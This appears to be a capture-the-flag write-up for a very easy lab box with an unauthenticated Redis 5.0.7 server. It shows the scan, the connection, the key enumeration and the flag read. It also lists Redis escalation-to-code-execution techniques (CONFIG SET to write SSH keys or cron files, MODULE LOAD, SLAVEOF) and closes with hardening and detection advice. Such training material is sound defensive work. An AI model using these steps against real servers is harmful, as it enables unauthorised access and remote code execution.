Redeemer

An unauthenticated Redis 5.0.7 on the network. The flag is a one-line GET, but the point is that a wide-open Redis is almost never just a data read - it is a foothold waiting for a write primitive.

OS
Linux
Difficulty
Very Easy
Retired
11 May 2022
Skills
redis, unauthenticated

Redeemer exposes a single service: Redis 5.0.7, no authentication, listening on the network. Pulling the flag is a GET. But reading this box as “unauthenticated data disclosure” undersells it - an unauthenticated Redis instance is one of the more dangerous things to find on an internal scan, because the same open socket that hands you a key will, with a writable target on disk, hand you code execution. Here only the read is needed; the rest is worth knowing.

Path to root, at a glance:
  1. nmap -> 6379/tcp, Redis 5.0.7, no auth.
  2. redis-cli -h -> connected, no password challenge.
  3. INFO / KEYS * / GET flag.

Recon - nmap

┌──(r3vpwnx㉿r3vpwnx)-[~/CTF/HTB/Redeemer]
└─$ sudo nmap -Pn -sSCV 10.129.136.187 -p- --min-rate=1000 -oA redeemer-nmap
PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 5.0.7

-p- for the full port range so I do not miss a service on a high port, --min-rate=1000 to keep the full-range scan quick, -oA to save all three formats for later. One port: Redis on its default 6379.

Enumeration - talking RESP

Redis speaks a simple line protocol (RESP), so redis-cli is really just a convenience over “send a command, read a reply.” The security model is deliberately thin: Redis was designed to sit on a trusted internal network behind the application, so by default it has no password and, in older builds, trusts whatever can reach the socket. Two things have to be wrong for this box to exist - requirepass is unset and the server is bound to a routable interface instead of loopback.

┌──(r3vpwnx㉿r3vpwnx)-[~/CTF/HTB/Redeemer]
└─$ redis-cli -h 10.129.136.187
10.129.136.187:6379>

No AUTH challenge, no error - I am at an interactive prompt against someone else’s database. INFO dumps the server’s self-description; the Keyspace section tells me how much is in it:

10.129.136.187:6379> INFO
# Server
redis_version:5.0.7
...
# Keyspace
db0:keys=4,expires=0,avg_ttl=0

Four keys in db0. (Redis has 16 numbered logical databases by default; SELECT n switches between them - here everything lives in 0.)

Loot - the flag

10.129.136.187:6379> KEYS *
1) "numb"
2) "stor"
3) "temp"
4) "flag"

10.129.136.187:6379> GET flag
"[flag redacted]"

KEYS * is fine on a four-key lab database; on anything real it is a blocking O(N) scan of the whole keyspace and you would use SCAN instead.

Why this is normally worse than a read

On a box where Redis runs as a user who can write somewhere useful, the same unauthenticated access escalates straight to RCE. The classic primitives, none of which are needed here but all of which this exact misconfiguration enables:

  • CONFIG SET dir + CONFIG SET dbfilename + SAVE to write the RDB file into ~/.ssh/authorized_keys, a web root, or /etc/cron.d.
  • MODULE LOAD of an attacker-supplied .so for direct command execution.
  • The master/replica (SLAVEOF) module-load trick for fully remote RCE.

The takeaway: finding an open Redis is not “I can read some keys,” it is “I probably have code execution if I want it.”

Detection and hardening

  • Set requirepass (a real, long secret) and, on modern Redis, use ACLs for per-user scope.
  • Bind to loopback (bind 127.0.0.1 ::1) or an internal-only interface, and leave protected-mode yes on - it refuses external connections when no password is set.
  • Rename or disable the dangerous verbs (rename-command CONFIG "", likewise MODULE, SLAVEOF, FLUSHALL) if the app does not use them.
  • Blue team: an external TCP connection to 6379 followed by INFO/KEYS/CONFIG is the pattern; Redis with no auth will not log the attempt, so the detection lives at the network edge.

Lessons

  • “Secure by network location” fails the moment the network is wrong. Redis trusts its reachability; bind it so only the app can reach it.
  • An unauthenticated datastore is a foothold, not just a leak. Assume write-to-disk and plan the defense around RCE, not around confidentiality alone.